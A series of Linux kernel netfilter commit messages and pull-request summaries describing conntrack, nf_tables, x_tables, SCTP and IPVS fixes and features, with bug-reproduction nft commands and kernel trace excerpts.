If NFT_EXTHDR_F_PRESENT is set, exthdr will not copy any header field
data into *dest, but instead set it to 1 if the header is found and 0
otherwise.
Signed-off-by: Phil Sutter <phil@nwl.cc>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Prior to Linux 4.4, it was usually harmless to send a CTA_HELP attribute
containing the name of the current helper. That is no longer the case:
as of Linux 4.4, if ctnetlink_change_helper() returns an error from
the ct->master check, processing of the request will fail, skipping the
NFQA_EXP attribute (if present).
This patch changes the behavior to improve compatibility with user
programs that expect the kernel interface to work the way it did prior
to Linux 4.4. If a user program specifies CTA_HELP but the argument
matches the current conntrack helper name, ignore it instead of generating
an error.
Signed-off-by: Kevin Cernekee <cernekee@chromium.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
The libnetfilter_conntrack userland library always sets IPS_CONFIRMED
when building a CTA_STATUS attribute. If this toggles the bit from
0->1, the parser will return an error. On Linux 4.4+ this will cause any
NFQA_EXP attribute in the packet to be ignored. This breaks conntrackd's
userland helpers because they operate on unconfirmed connections.
Instead of returning -EBUSY if the user program asks to modify an
unchangeable bit, simply ignore the change.
Also, fix the logic so that user programs are allowed to clear
the bits that they are allowed to change.
Signed-off-by: Kevin Cernekee <cernekee@chromium.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Commit 3bb398d925 ("netfilter: nf_ct_helper: disable automatic helper
assignment") is causing behavior regressions in firewalls, as traffic
handled by conntrack helpers is now by default not passed through even
though it was before due to missing CT targets (which were not necessary
before this commit).
The default had to be switched off due to security reasons [1] [2] and
therefore should stay the way it is, but let's be friendly to firewall
admins and issue a warning the first time we're in situation where packet
would be likely passed through with the old default but we're likely going
to drop it on the floor now.
Rewrite the code a little bit as suggested by Linus, so that we avoid
spaghettiing the code even more -- namely the whole decision making
process regarding helper selection (either automatic or not) is being
separated, so that the whole logic can be simplified and code (condition)
duplication reduced.
[1] https://cansecwest.com/csw12/conntrack-attack.pdf
[2] https://home.regit.org/netfilter-en/secure-use-of-helpers/
Signed-off-by: Jiri Kosina <jkosina@suse.cz>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Pablo Neira Ayuso says:
====================
Netfilter updates for net-next
The following patchset contains Netfilter updates for your net-next
tree, they are:
1) Stash ctinfo 3-bit field into pointer to nf_conntrack object from
sk_buff so we only access one single cacheline in the conntrack
hotpath. Patchset from Florian Westphal.
2) Don't leak pointer to internal structures when exporting x_tables
ruleset back to userspace, from Willem DeBruijn. This includes new
helper functions to copy data to userspace such as xt_data_to_user()
as well as conversions of our ip_tables, ip6_tables and arp_tables
clients to use it. Not surprinsingly, ebtables requires an ad-hoc
update. There is also a new field in x_tables extensions to indicate
the amount of bytes that we copy to userspace.
3) Add nf_log_all_netns sysctl: This new knob allows you to enable
logging via nf_log infrastructure for all existing netnamespaces.
Given the effort to provide pernet syslog has been discontinued,
let's provide a way to restore logging using netfilter kernel logging
facilities in trusted environments. Patch from Michal Kubecek.
4) Validate SCTP checksum from conntrack helper, from Davide Caratti.
5) Merge UDPlite conntrack and NAT helpers into UDP, this was mostly
a copy&paste from the original helper, from Florian Westphal.
6) Reset netfilter state when duplicating packets, also from Florian.
7) Remove unnecessary check for broadcast in IPv6 in pkttype match and
nft_meta, from Liping Zhang.
8) Add missing code to deal with loopback packets from nft_meta when
used by the netdev family, also from Liping.
9) Several cleanups on nf_tables, one to remove unnecessary check from
the netlink control plane path to add table, set and stateful objects
and code consolidation when unregister chain hooks, from Gao Feng.
10) Fix harmless reference counter underflow in IPVS that, however,
results in problems with the introduction of the new refcount_t
type, from David Windsor.
11) Enable LIBCRC32C from nf_ct_sctp instead of nf_nat_sctp,
from Davide Caratti.
12) Missing documentation on nf_tables uapi header, from Liping Zhang.
13) Use rb_entry() helper in xt_connlimit, from Geliang Tang.
====================
Signed-off-by: David S. Miller <davem@davemloft.net>
Commit 69b34fb996 ("netfilter: xt_LOG: add net namespace support for
xt_LOG") disabled logging packets using the LOG target from non-init
namespaces. The motivation was to prevent containers from flooding
kernel log of the host. The plan was to keep it that way until syslog
namespace implementation allows containers to log in a safe way.
However, the work on syslog namespace seems to have hit a dead end
somewhere in 2013 and there are users who want to use xt_LOG in all
network namespaces. This patch allows to do so by setting
/proc/sys/net/netfilter/nf_log_all_netns
to a nonzero value. This sysctl is only accessible from init_net so that
one cannot switch the behaviour from inside a container.
Signed-off-by: Michal Kubecek <mkubecek@suse.cz>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Currently, the ip_vs_dest cache frees ip_vs_dest objects when their
reference count becomes < 0. Aside from not being semantically sound,
this is problematic for the new type refcount_t, which will be introduced
shortly in a separate patch. refcount_t is the new kernel type for
holding reference counts, and provides overflow protection and a
constrained interface relative to atomic_t (the type currently being
used for kernel reference counts).
Per Julian Anastasov: "The problem is that dest_trash currently holds
deleted dests (unlinked from RCU lists) with refcnt=0." Changing
dest_trash to hold dest with refcnt=1 will allow us to free ip_vs_dest
structs when their refcnt=0, in ip_vs_dest_put_and_free().
Signed-off-by: David Windsor <dwindsor@gmail.com>
Signed-off-by: Julian Anastasov <ja@ssi.bg>
Signed-off-by: Simon Horman <horms@verge.net.au>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
After this change conntrack operations (lookup, creation, matching from
ruleset) only access one instead of two sk_buff cache lines.
This works for normal conntracks because those are allocated from a slab
that guarantees hw cacheline or 8byte alignment (whatever is larger)
so the 3 bits needed for ctinfo won't overlap with nf_conn addresses.
Template allocation now does manual address alignment (see previous change)
on arches that don't have sufficent kmalloc min alignment.
Some spots intentionally use skb->_nfct instead of skb_nfct() helpers,
this is to avoid undoing the skb_nfct() use when we remove untracked
conntrack object in the future.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
The next change will merge skb->nfct pointer and skb->nfctinfo
status bits into single skb->_nfct (unsigned long) area.
For this to work nf_conn addresses must always be aligned at least on
an 8 byte boundary since we will need the lower 3bits to store nfctinfo.
Conntrack templates are allocated via kmalloc.
kbuild test robot reported
BUILD_BUG_ON failed: NFCT_INFOMASK >= ARCH_KMALLOC_MINALIGN
on v1 of this patchset, so not all platforms meet this requirement.
Do manual alignment if needed, the alignment offset is stored in the
nf_conn entry protocol area. This works because templates are not
handed off to L4 protocol trackers.
Reported-by: kbuild test robot <fengguang.wu@intel.com>
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Add a helper to assign a nf_conn entry and the ctinfo bits to an sk_buff.
This avoids changing code in followup patch that merges skb->nfct and
skb->nfctinfo into skb->_nfct.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Followup patch renames skb->nfct and changes its type so add a helper to
avoid intrusive rename change later.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Next patch makes direct skb->nfct access illegal, reduce noise
in next patch by using accessors we already have.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
It is never accessed for reading and the only places that write to it
are the icmp(6) handlers, which also set skb->nfct (and skb->nfctinfo).
The conntrack core specifically checks for attached skb->nfct after
->error() invocation and returns early in this case.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
If something fails in nf_tables_table_enable(), it unregisters the
chains. But the rollback code is the same as nf_tables_table_disable()
almostly, except there is one counter check. Now create one wrapper
function to eliminate the duplicated codes.
Signed-off-by: Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Add missing set->ndeact update on each deactivated element from the set
flush path. Otherwise, sets with fixed size break after flush since
accounting breaks.
# nft add set x y { type ipv4_addr\; size 2\; }
# nft add element x y { 1.1.1.1 }
# nft add element x y { 1.1.1.2 }
# nft flush set x y
# nft add element x y { 1.1.1.1 }
<cmdline>:1:1-28: Error: Could not process rule: Too many open files in system
Fixes: 8411b6442e ("netfilter: nf_tables: support for set flushing")
Reported-by: Elise Lennion <elise.lennion@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
If the element exists and no NLM_F_EXCL is specified, do not bump
set->nelems, otherwise we leak one set element slot. This problem
amplifies if the set is full since the abort path always decrements the
counter for the -ENFILE case too, giving one spare extra slot.
Fix this by moving set->nelems update to nft_add_set_elem() after
successful element insertion. Moreover, remove the element if the set is
full so there is no need to rely on the abort path to undo things
anymore.
Fixes: c016c7e45d ("netfilter: nf_tables: honor NLM_F_EXCL flag in set element insertion")
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
First, log prefix will be truncated to NF_LOG_PREFIXLEN-1, i.e. 127,
at nf_log_packet(), so the extra part is useless.
Second, after adding a log rule with a very very long prefix, we will
fail to dump the nft rules after this _special_ one, but acctually,
they do exist. For example:
# name_65000=$(printf "%0.sQ" {1..65000})
# nft add rule filter output log prefix "$name_65000"
# nft add rule filter output counter
# nft add rule filter output counter
# nft list chain filter output
table ip filter {
chain output {
type filter hook output priority 0; policy accept;
}
}
So now, restrict the log prefix length to NF_LOG_PREFIXLEN-1.
Fixes: 96518518cc ("netfilter: add nftables")
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Add net.ipv4.ip_unprivileged_port_start, which is a per namespace sysctl
that denotes the first unprivileged inet port in the namespace. To
disable all privileged ports set this to zero. It also checks for
overlap with the local port range. The privileged and local range may
not overlap.
The use case for this change is to allow containerized processes to bind
to priviliged ports, but prevent them from ever being allowed to modify
their container's network configuration. The latter is accomplished by
ensuring that the network namespace is not a child of the user
namespace. This modification was needed to allow the container manager
to disable a namespace's priviliged port restrictions without exposing
control of the network namespace to processes in the user namespace.
Signed-off-by: Krister Johansen <kjlx@templeofstupid.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Currently, if the user add a stateful object with the name size exceed
NFT_OBJ_MAXNAMELEN - 1 (i.e. 31), we truncate it down to 31 silently.
This is not friendly, furthermore, this will cause duplicated stateful
objects when the first 31 characters of the name is same. So limit the
stateful object's name size to NFT_OBJ_MAXNAMELEN - 1.
After apply this patch, error message will be printed out like this:
# name_32=$(printf "%0.sQ" {1..32})
# nft add counter filter $name_32
<cmdline>:1:1-52: Error: Could not process rule: Numerical result out
of range
add counter filter QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Also this patch cleans up the codes which missing the name size limit
validation in nftables.
Fixes: e50092404c ("netfilter: nf_tables: add stateful objects")
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This further refines the changes made to conntrack gc_worker in
commit e0df8cae6c ("netfilter: conntrack: refine gc worker heuristics").
The main idea of that change was to reduce the scan interval when evictions
take place.
However, on the reporters' setup, there are 1-2 million conntrack entries
in total and roughly 8k new (and closing) connections per second.
In this case we'll always evict at least one entry per gc cycle and scan
interval is always at 1 jiffy because of this test:
} else if (expired_count) {
gc_work->next_gc_run /= 2U;
next_run = msecs_to_jiffies(1);
being true almost all the time.
Given we scan ~10k entries per run its clearly wrong to reduce interval
based on nonzero eviction count, it will only waste cpu cycles since a vast
majorities of conntracks are not timed out.
Thus only look at the ratio (scanned entries vs. evicted entries) to make
a decision on whether to reduce or not.
Because evictor is supposed to only kick in when system turns idle after
a busy period, pick a high ratio -- this makes it 50%. We thus keep
the idea of increasing scan rate when its likely that table contains many
expired entries.
In order to not let timed-out entries hang around for too long
(important when using event logging, in which case we want to timely
destroy events), we now scan the full table within at most
GC_MAX_SCAN_JIFFIES (16 seconds) even in worst-case scenario where all
timed-out entries sit in same slot.
I tested this with a vm under synflood (with
sysctl net.netfilter.nf_conntrack_tcp_timeout_syn_recv=3).
While flood is ongoing, interval now stays at its max rate
(GC_MAX_SCAN_JIFFIES / GC_MAX_BUCKETS_DIV -> 125ms).
With feedback from Nicolas Dichtel.
Reported-by: Denys Fedoryshchenko <nuclearcat@nuclearcat.com>
Cc: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Fixes: b87a2f9199 ("netfilter: conntrack: add gc worker to remove timed-out entries")
Signed-off-by: Florian Westphal <fw@strlen.de>
Tested-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Acked-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Tested-by: Denys Fedoryshchenko <nuclearcat@nuclearcat.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Instead of breaking loop and instant resched, don't bother checking
this in first place (the loop calls cond_resched for every bucket anyway).
Suggested-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Signed-off-by: Florian Westphal <fw@strlen.de>
Acked-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
The return value of nf_tables_table_lookup() is valid pointer or one
pointer error. There are two cases:
1) IS_ERR(table) is true, it would return the error or reset the
table as NULL, it is unnecessary to perform the latter check
"table != NULL".
2) IS_ERR(obj) is false, the table is one valid pointer. It is also
unnecessary to perform that check.
The nf_tables_newset() and nf_tables_newobj() have same logic codes.
In summary, we could move the block of condition check "table != NULL"
in the else block to eliminate the original condition checks.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
After adding the following nft rule, then ping 224.0.0.1:
# nft add rule netdev t c pkttype host counter
The warning complain message will be printed out again and again:
WARNING: CPU: 0 PID: 10182 at net/netfilter/nft_meta.c:163 \
nft_meta_get_eval+0x3fe/0x460 [nft_meta]
[...]
Call Trace:
<IRQ>
dump_stack+0x85/0xc2
__warn+0xcb/0xf0
warn_slowpath_null+0x1d/0x20
nft_meta_get_eval+0x3fe/0x460 [nft_meta]
nft_do_chain+0xff/0x5e0 [nf_tables]
So we should deal with PACKET_LOOPBACK in netdev family too. For ipv4,
convert it to PACKET_BROADCAST/MULTICAST according to the destination
address's type; For ipv6, convert it to PACKET_MULTICAST directly.
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Since there's no broadcast address in IPV6, so in ipv6 family, the
PACKET_LOOPBACK must be multicast packets, there's no need to check
it again.
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
The NF_CONNTRACK Kconfig option description makes an incorrect reference
to the "meta" expression where the "ct" expression would be correct.This
patch fixes the respective typographical error.
Fixes: d497c63527 ("netfilter: add help information to new nf_tables Kconfig options")
Signed-off-by: William Breathitt Gray <vilhelm.gray@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
When dumping nft stateful objects, if NFTA_OBJ_TABLE and NFTA_OBJ_TYPE
attributes are not specified either, filter will become NULL, so oops
will happen(actually nft utility will always set NFTA_OBJ_TABLE attr,
so I write a test program to make this happen):
BUG: unable to handle kernel NULL pointer dereference at (null)
IP: nf_tables_dump_obj+0x17c/0x330 [nf_tables]
[...]
Call Trace:
? nf_tables_dump_obj+0x5/0x330 [nf_tables]
? __kmalloc_reserve.isra.35+0x31/0x90
? __alloc_skb+0x5b/0x1e0
netlink_dump+0x124/0x2a0
__netlink_dump_start+0x161/0x190
nf_tables_getobj+0xe8/0x280 [nf_tables]
Fixes: a9fea2a3c3 ("netfilter: nf_tables: allow to filter stateful object dumps by type")
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
In matches and targets that define a kernel-only tail to their
xt_match and xt_target data structs, add a field .usersize that
specifies up to where data is to be shared with userspace.
Performed a search for comment "Used internally by the kernel" to find
relevant matches and targets. Manually inspected the structs to derive
a valid offsetof.
Signed-off-by: Willem de Bruijn <willemb@google.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Convert compat to copying entries, matches and targets one by one,
using the xt_match_to_user and xt_target_to_user helper functions.
Signed-off-by: Willem de Bruijn <willemb@google.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
xt_entry_target, xt_entry_match and their private data may contain
kernel data.
Introduce helper functions xt_match_to_user, xt_target_to_user and
xt_data_to_user that copy only the expected fields. These replace
existing logic that calls copy_to_user on entire structs, then
overwrites select fields.
Private data is defined in xt_match and xt_target. All matches and
targets that maintain kernel data store this at the tail of their
private structure. Extend xt_match and xt_target with .usersize to
limit how many bytes of data are copied. The remainder is cleared.
If compatsize is specified, usersize can only safely be used if all
fields up to usersize use platform-independent types. Otherwise, the
compat_to_user callback must be defined.
This patch does not yet enable the support logic.
Signed-off-by: Willem de Bruijn <willemb@google.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Pablo Neira Ayuso says:
====================
Netfilter fixes for net
The following patchset contains accumulated Netfilter fixes for your
net tree:
1) Ensure quota dump and reset happens iff we can deliver numbers to
userspace.
2) Silence splat on incorrect use of smp_processor_id() from nft_queue.
3) Fix an out-of-bound access reported by KASAN in
nf_tables_rule_destroy(), patch from Florian Westphal.
4) Fix layer 4 checksum mangling in the nf_tables payload expression
with IPv6.
5) Fix a race in the CLUSTERIP target from control plane path when two
threads run to add a new configuration object. Serialize invocations
of clusterip_config_init() using spin_lock. From Xin Long.
6) Call br_nf_pre_routing_finish_bridge_finish() once we are done with
the br_nf_pre_routing_finish() hook. From Artur Molchanov.
====================
Signed-off-by: David S. Miller <davem@davemloft.net>
To make the code clearer, use rb_entry() instead of container_of() to
deal with rbtree.
Signed-off-by: Geliang Tang <geliangtang@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
implement sctp_error to let nf_conntrack_in validate crc32c on the packet
transport header. Assign skb->ip_summed to CHECKSUM_UNNECESSARY and return
NF_ACCEPT in case of successful validation; otherwise, return -NF_ACCEPT to
let netfilter skip connection tracking, like other protocols do.
Besides preventing corrupted packets from matching conntrack entries, this
fixes functionality of REJECT target: it was not generating any ICMP upon
reception of SCTP packets, because it was computing RFC 1624 checksum on
the packet and systematically mismatching crc32c in the SCTP header.
Signed-off-by: Davide Caratti <dcaratti@redhat.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
nf_conntrack needs to compute crc32c when dealing with SCTP packets.
Moreover, NF_NAT_PROTO_SCTP (currently selecting LIBCRC32C) can be enabled
only if conntrack support for SCTP is enabled. Therefore, move enabling of
kernel support for crc32c so that it is selected when NF_CT_PROTO_SCTP=y.
Signed-off-by: Davide Caratti <dcaratti@redhat.com>
Reviewed-by: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Similar to xt_connbytes, user can match how many average bytes per packet
a connection has transferred so far.
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
udplite nat was copied from udp nat, they are virtually 100% identical.
Not really surprising given udplite is just udp with partial csum coverage.
old:
text data bss dec hex filename
11606 1457 210 13273 33d9 nf_nat.ko
330 0 2 332 14c nf_nat_proto_udp.o
276 0 2 278 116 nf_nat_proto_udplite.o
new:
text data bss dec hex filename
11598 1457 210 13265 33d1 nf_nat.ko
640 0 4 644 284 nf_nat_proto_udp.o
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
udplite was copied from udp, they are virtually 100% identical.
This adds udplite tracker to udp instead, removes udplite module,
and then makes the udplite tracker builtin.
udplite will then simply re-use udp timeout settings.
It makes little sense to add separate sysctls, nowadays we have
fine-grained timeout policy support via the CT target.
old:
text data bss dec hex filename
1633 672 0 2305 901 nf_conntrack_proto_udp.o
1756 672 0 2428 97c nf_conntrack_proto_udplite.o
69526 17937 268 87731 156b3 nf_conntrack.ko
new:
text data bss dec hex filename
2442 1184 0 3626 e2a nf_conntrack_proto_udp.o
68565 17721 268 86554 1521a nf_conntrack.ko
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
ktime is a union because the initial implementation stored the time in
scalar nanoseconds on 64 bit machine and in a endianess optimized timespec
variant for 32bit machines. The Y2038 cleanup removed the timespec variant
and switched everything to scalar nanoseconds. The union remained, but
become completely pointless.
Get rid of the union and just keep ktime_t as simple typedef of type s64.
The conversion was done with coccinelle and some manual mopping up.
Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
Cc: Peter Zijlstra <peterz@infradead.org>
This was entirely automated, using the script by Al:
PATT='^[[:blank:]]*#[[:blank:]]*include[[:blank:]]*<asm/uaccess.h>'
sed -i -e "s!$PATT!#include <linux/uaccess.h>!" \
$(git grep -l "$PATT"|grep -v ^include/linux/uaccess.h)
to do the replacement at the end of the merge window.
Requested-by: Al Viro <viro@zeniv.linux.org.uk>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
If the NFT_PAYLOAD_L4CSUM_PSEUDOHDR flag is set, then mangle layer 4
checksum. This should not depend on csum_type NFT_PAYLOAD_CSUM_INET
since IPv6 header has no checksum field, but still an update of any of
the pseudoheader fields may trigger a layer 4 checksum update.
Fixes: 1814096980 ("netfilter: nft_payload: layer 4 checksum adjustment for pseudoheader fields")
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
BUG: KASAN: slab-out-of-bounds in nf_tables_rule_destroy+0xf1/0x130 at addr ffff88006a4c35c8
Read of size 8 by task nft/1607
When we've destroyed last valid expr, nft_expr_next() returns an invalid expr.
We must not dereference it unless it passes != nft_expr_last() check.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Using smp_processor_id() causes splats with PREEMPT_RCU:
[19379.552780] BUG: using smp_processor_id() in preemptible [00000000] code: ping/32389
[19379.552793] caller is debug_smp_processor_id+0x17/0x19
[...]
[19379.552823] Call Trace:
[19379.552832] [<ffffffff81274e9e>] dump_stack+0x67/0x90
[19379.552837] [<ffffffff8129a4d4>] check_preemption_disabled+0xe5/0xf5
[19379.552842] [<ffffffff8129a4fb>] debug_smp_processor_id+0x17/0x19
[19379.552849] [<ffffffffa07c42dd>] nft_queue_eval+0x35/0x20c [nft_queue]
No need to disable preemption since we only fetch the numeric value, so
let's use raw_smp_processor_id() instead.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Dumping of netlink attributes may fail due to insufficient room in the
skbuff, so let's reset consumed quota if we succeed to put netlink
attributes into the skbuff.
Fixes: 43da04a593 ("netfilter: nf_tables: atomic dump and reset for stateful objects")
Reported-by: Eric Dumazet <eric.dumazet@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Dump and reset doesn't work unless cmpxchg64() is used both from packet
and control plane paths. This approach is going to be slow though.
Instead, use a percpu seqcount to fetch counters consistently, then
subtract bytes and packets in case a reset was requested.
The cpu that running over the reset code is guaranteed to own this stats
exclusively, we have to turn counters into signed 64bit though so stats
update on reset don't get wrong on underflow.
This patch is based on original sketch from Eric Dumazet.
Fixes: 43da04a593 ("netfilter: nf_tables: atomic dump and reset for stateful objects")
Suggested-by: Eric Dumazet <eric.dumazet@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
Pablo Neira Ayuso says:
====================
Netfilter/IPVS updates for net-next
The following patchset contains a large Netfilter update for net-next,
to summarise:
1) Add support for stateful objects. This series provides a nf_tables
native alternative to the extended accounting infrastructure for
nf_tables. Two initial stateful objects are supported: counters and
quotas. Objects are identified by a user-defined name, you can fetch
and reset them anytime. You can also use a maps to allow fast lookups
using any arbitrary key combination. More info at:
http://marc.info/?l=netfilter-devel&m=148029128323837&w=2
2) On-demand registration of nf_conntrack and defrag hooks per netns.
Register nf_conntrack hooks if we have a stateful ruleset, ie.
state-based filtering or NAT. The new nf_conntrack_default_on sysctl
enables this from newly created netnamespaces. Default behaviour is not
modified. Patches from Florian Westphal.
3) Allocate 4k chunks and then use these for x_tables counter allocation
requests, this improves ruleset load time and also datapath ruleset
evaluation, patches from Florian Westphal.
4) Add support for ebpf to the existing x_tables bpf extension.
From Willem de Bruijn.
5) Update layer 4 checksum if any of the pseudoheader fields is updated.
This provides a limited form of 1:1 stateless NAT that make sense in
specific scenario, eg. load balancing.
6) Add support to flush sets in nf_tables. This series comes with a new
set->ops->deactivate_one() indirection given that we have to walk
over the list of set elements, then deactivate them one by one.
The existing set->ops->deactivate() performs an element lookup that
we don't need.
7) Two patches to avoid cloning packets, thus speed up packet forwarding
via nft_fwd from ingress. From Florian Westphal.
8) Two IPVS patches via Simon Horman: Decrement ttl in all modes to
prevent infinite loops, patch from Dwip Banerjee. And one minor
refactoring from Gao feng.
9) Revisit recent log support for nf_tables netdev families: One patch
to ensure that we correctly handle non-ethernet packets. Another
patch to add missing logger definition for netdev. Patches from
Liping Zhang.
10) Three patches for nft_fib, one to address insufficient register
initialization and another to solve incorrect (although harmless)
byteswap operation. Moreover update xt_rpfilter and nft_fib to match
lbcast packets with zeronet as source, eg. DHCP Discover packets
(0.0.0.0 -> 255.255.255.255). Also from Liping Zhang.
11) Built-in DCCP, SCTP and UDPlite conntrack and NAT support, from
Davide Caratti. While DCCP is rather hopeless lately, and UDPlite has
been broken in many-cast mode for some little time, let's give them a
chance by placing them at the same level as other existing protocols.
Thus, users don't explicitly have to modprobe support for this and
NAT rules work for them. Some people point to the lack of support in
SOHO Linux-based routers that make deployment of new protocols harder.
I guess other middleboxes outthere on the Internet are also to blame.
Anyway, let's see if this has any impact in the midrun.
12) Skip software SCTP software checksum calculation if the NIC comes
with SCTP checksum offload support. From Davide Caratti.
13) Initial core factoring to prepare conversion to hook array. Three
patches from Aaron Conole.
14) Gao Feng made a wrong conversion to switch in the xt_multiport
extension in a patch coming in the previous batch. Fix it in this
batch.
15) Get vmalloc call in sync with kmalloc flags to avoid a warning
and likely OOM killer intervention from x_tables. From Marcelo
Ricardo Leitner.
16) Update Arturo Borrero's email address in all source code headers.
====================
Signed-off-by: David S. Miller <davem@davemloft.net>
Add support for attaching an eBPF object by file descriptor.
The iptables binary can be called with a path to an elf object or a
pinned bpf object. Also pass the mode and path to the kernel to be
able to return it later for iptables dump and save.
Signed-off-by: Willem de Bruijn <willemb@google.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Andrey Konovalov reported that this vmalloc call is based on an
userspace request and that it's spewing traces, which may flood the logs
and cause DoS if abused.
Florian Westphal also mentioned that this call should not trigger OOM
killer.
This patch brings the vmalloc call in sync to kmalloc and disables the
warn trace on allocation failure and also disable OOM killer invocation.
Note, however, that under such stress situation, other places may
trigger OOM killer invocation.
Reported-by: Andrey Konovalov <andreyknvl@google.com>
Cc: Florian Westphal <fw@strlen.de>
Signed-off-by: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This patch adds support for set flushing, that consists of walking over
the set elements if the NFTA_SET_ELEM_LIST_ELEMENTS attribute is set.
This patch requires the following changes:
1) Add set->ops->deactivate_one() operation: This allows us to
deactivate an element from the set element walk path, given we can
skip the lookup that happens in ->deactivate().
2) Add a new nft_trans_alloc_gfp() function since we need to allocate
transactions using GFP_ATOMIC given the set walk path happens with
held rcu_read_lock.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This new function allows us to deactivate one single element, this is
required by the set flush command that comes in a follow up patch.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
SCTP GSO and hardware can do CRC32c computation after netfilter processing,
so we can avoid calling sctp_compute_checksum() on skb if skb->ip_summed
is equal to CHECKSUM_PARTIAL. Moreover, set skb->ip_summed to CHECKSUM_NONE
when the NAT code computes the CRC, to prevent offloaders from computing
it again (on ixgbe this resulted in a transmission with wrong L4 checksum).
Signed-off-by: Davide Caratti <dcaratti@redhat.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This patch adds the netlink code to filter out dump of stateful objects,
through the NFTA_OBJ_TYPE netlink attribute.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This patch allows us to refer to stateful object dictionaries, the
source register indicates the key data to be used to look up for the
corresponding state object. We can refer to these maps through names or,
alternatively, the map transaction id. This allows us to refer to both
anonymous and named maps.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This patch allows you to refer to stateful objects from set elements.
This provides the infrastructure to create maps where the right hand
side of the mapping is a stateful object.
This allows us to build dictionaries of stateful objects, that you can
use to perform fast lookups using any arbitrary key combination.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Notify on depleted quota objects. The NFT_QUOTA_F_DEPLETED flag
indicates we have reached overquota.
Add pointer to table from nft_object, so we can use it when sending the
depletion notification to userspace.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Introduce nf_tables_obj_notify() to notify internal state changes in
stateful objects. This is used by the quota object to report depletion
in a follow up patch.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This patch adds a new NFT_MSG_GETOBJ_RESET command perform an atomic
dump-and-reset of the stateful object. This also comes with add support
for atomic dump and reset for counter and quota objects.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Add a new attribute NFTA_QUOTA_CONSUMED that displays the amount of
quota that has been already consumed. This allows us to restore the
internal state of the quota object between reboots as well as to monitor
how wasted it is.
This patch changes the logic to account for the consumed bytes, instead
of the bytes that remain to be consumed.
